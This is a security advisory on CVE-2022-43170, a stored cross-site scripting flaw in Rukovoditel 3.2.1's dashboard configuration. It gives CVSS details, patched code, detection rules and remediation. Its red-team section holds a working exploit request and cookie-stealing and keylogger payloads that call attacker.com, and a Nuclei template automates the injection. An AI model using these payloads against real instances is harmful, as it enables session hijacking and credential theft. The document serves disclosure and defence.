CVE-2022-43170

Executive Summary

CVE-2022-43170 is a stored cross-site scripting (XSS) vulnerability identified in Rukovoditel version 3.2.1. The flaw resides in the Dashboard Configuration feature, specifically within the index.php?module=dashboard_configure/index endpoint. An authenticated attacker can inject arbitrary web scripts or HTML into the Title parameter when adding an "info block". This stored payload is then executed in the context of any user viewing the affected dashboard, potentially leading to data theft, session hijacking, or application defacement. The vulnerability has a CVSS v3.1 base score of 5.4 (Medium) and is classified under CWE-79. A public proof-of-concept (PoC) exists via a Nuclei template, and the recommended remediation is to upgrade to version 3.2.2 or later.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but affects the Rukovoditel web application, which is a self-hosted PHP project. The risk is primarily to organizations that deploy and manage Rukovoditel instances internally.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker must have valid user credentials.
• User Interaction (UI): Required (R) – The victim must view the compromised dashboard.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on system availability.

Threat Level: Medium. Exploitation requires authentication, but the stored XSS can affect all users, including administrators, leading to privilege escalation scenarios.

Deep Dive & Mechanics

The vulnerability is a classic stored cross-site scripting (XSS) flaw. The application fails to properly sanitize user input in the Title parameter when creating an "info block" on the dashboard. The affected endpoint is:

POST /index.php?module=dashboard_configure/index&action=save&token=<nonce>

The name parameter (which corresponds to the title) is directly stored in the database without encoding or validation. When the dashboard is rendered, this value is injected into the HTML page without proper escaping, allowing arbitrary JavaScript execution.

Attack Flow:

1. An authenticated attacker navigates to the Dashboard Configuration page.
2. The attacker clicks "Add info block" and injects a malicious payload into the Title field (e.g., <script>alert(document.domain)</script>).
3. The payload is stored in the database.
4. Any user (including administrators) who views the dashboard will have the script executed in their browser context.

Root Cause: Lack of output encoding or input sanitization for the name parameter in the dashboard configuration module.

Vulnerable vs. Patched Code

Vulnerable Code (Rukovoditel <= 3.2.1): The vulnerable code likely directly echoes the name parameter without sanitization. For example:

// Vulnerable: Direct output without escaping
echo '<div class="info-block-title">' . $info_block['name'] . '</div>';

Patched Code (Rukovoditel >= 3.2.2): The patched version should use proper output encoding, such as htmlspecialchars() in PHP:

// Patched: Output encoded
echo '<div class="info-block-title">' . htmlspecialchars($info_block['name'], ENT_QUOTES, 'UTF-8') . '</div>';

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid user credentials for a Rukovoditel instance (version <= 3.2.1).
• Network access to the application.

Exploitation Steps:

1. Authenticate: Log in to the Rukovoditel application.
2. Obtain CSRF Token: Extract the form_session_token from the login page or any authenticated page.
3. Craft Payload: URL-encode a malicious script, e.g., <script>alert(document.domain)</script> becomes %3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E.
4. Send Exploit Request:

   POST /index.php?module=dashboard_configure/index&action=save&token=<nonce> HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   
   form_session_token=<nonce>&type=info_block&is_active=1&sections_id=0&color=default&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&icon=&description=&sort_order=
   

5. Trigger: Any user viewing the dashboard will execute the script.

Advanced Payloads:

• Session hijacking: <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
• Keylogging: <script src="http://attacker.com/keylogger.js"></script>

Blue Team

Detection:

• Monitor HTTP requests to /index.php?module=dashboard_configure/index&action=save for suspicious name parameters containing <script> tags or other HTML/JavaScript.
• Use the provided Nuclei template for automated scanning.

Hunting:

• Search database entries for unescaped HTML in the dashboard_configure table.
• Review web server logs for unusual POST requests to the dashboard configuration endpoint.

Containment:

• Immediately disable the dashboard configuration feature for non-admin users.
• Apply input validation and output encoding as a temporary fix.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /index.php?module=dashboard_configure/index&action=save with name parameter containing <script> tags.
  • Outbound connections to attacker-controlled domains from the Rukovoditel server.
• File IOCs:
  • Modified database entries in the dashboard_configure table with malicious HTML.
• Log IOCs:
  • Web server logs showing repeated POST requests to the dashboard configuration endpoint from a single user.

Detection Engineering

YARA Rule

rule CVE_2022_43170_Rukovoditel_XSS {
    meta:
        description = "Detects stored XSS payloads in Rukovoditel dashboard configuration"
        author = "Valters IT"
        date = "2025-04-08"
        reference = "CVE-2022-43170"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $dashboard_endpoint = "dashboard_configure"
    condition:
        $dashboard_endpoint and $xss_payload
}

Sigma Rule

title: CVE-2022-43170 - Stored XSS in Rukovoditel Dashboard
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects exploitation attempts of stored XSS in Rukovoditel dashboard configuration
author: Valters IT
date: 2025/04/08
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: 'index.php?module=dashboard_configure/index&action=save*'
    keywords:
        - 'name='
        - '<script'
        - '%3Cscript'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in dashboard titles (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2022-43170 - Rukovoditel Stored XSS Exploit";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/index.php?module=dashboard_configure/index&action=save";
    http_uri;
    content:"name=";
    http_client_body;
    pcre:"/<script[^>]*>.*?<\/script>/i";
    reference:cve,2022-43170;
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Nuclei Template (Provided)

id: CVE-2022-43170

info:
  name: Rukovoditel <= 3.2.1 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A stored cross-site scripting (XSS) vulnerability in the Dashboard Configuration feature (index.php?module=dashboard_configure/index) of Rukovoditel v3.2.1 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Title parameter after clicking "Add info block".
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.
  remediation: |
    Upgrade Rukovoditel to version 3.2.2 or later to mitigate the XSS vulnerability.
  reference:
    - https://github.com/anhdq201/rukovoditel/issues/6
    - http://rukovoditel.com/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-43170
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-43170
    cwe-id: CWE-79
    epss-score: 0.05444
    epss-percentile: 0.90208
    cpe: cpe:2.3:a:rukovoditel:rukovoditel:3.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: rukovoditel
    product: rukovoditel
    shodan-query: http.favicon.hash:-1499940355
    fofa-query: icon_hash=-1499940355
  tags: cve,cve2022,rukovoditel,stored-xss,xss,authenticated,vuln

http:
  - raw:
      - |
        GET /index.php?module=users/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /index.php?module=users/login&action=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&username={{username}}&password={{password}}
      - |
        POST /index.php?module=dashboard_configure/index&action=save&token={{nonce}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&type=info_block&is_active=1&sections_id=0&color=default&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&icon=&description=&sort_order=

    redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(content_type_3, "text/html")'
          - 'contains(body_3, "<script>alert(document.domain)</script>")'
          - 'contains(body_3, "rukovoditel")'
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'id="form_session_token" value="(.*)" type="hidden"'
        internal: true
# digest: 4b0a00483046022100ce26d94b3d7cb86eb5c191ac30b1da77b8d3ff580524ea9b3d56690ee66c107e022100cd1f111833a4a9ef53e3caa29cc7ecf08f736acc4e98bbb9e7ebb34d6029dd1d:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Rukovoditel to version 3.2.2 or later, which contains the fix for this vulnerability.
2. Input Validation: Implement strict input validation on the name parameter to reject HTML tags.
3. Output Encoding: Ensure all user-supplied data is properly encoded using htmlspecialchars() or equivalent before rendering.

Long-Term Measures:

• Adopt a Content Security Policy (CSP) to mitigate XSS impact.
• Conduct regular security audits and penetration testing.
• Implement Web Application Firewall (WAF) rules to block malicious payloads.

Workaround (if upgrade is not possible):

• Disable the dashboard configuration feature for non-admin users.
• Manually sanitize the name parameter in the database using a script.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: A9F329683D475AE081BF7884] */}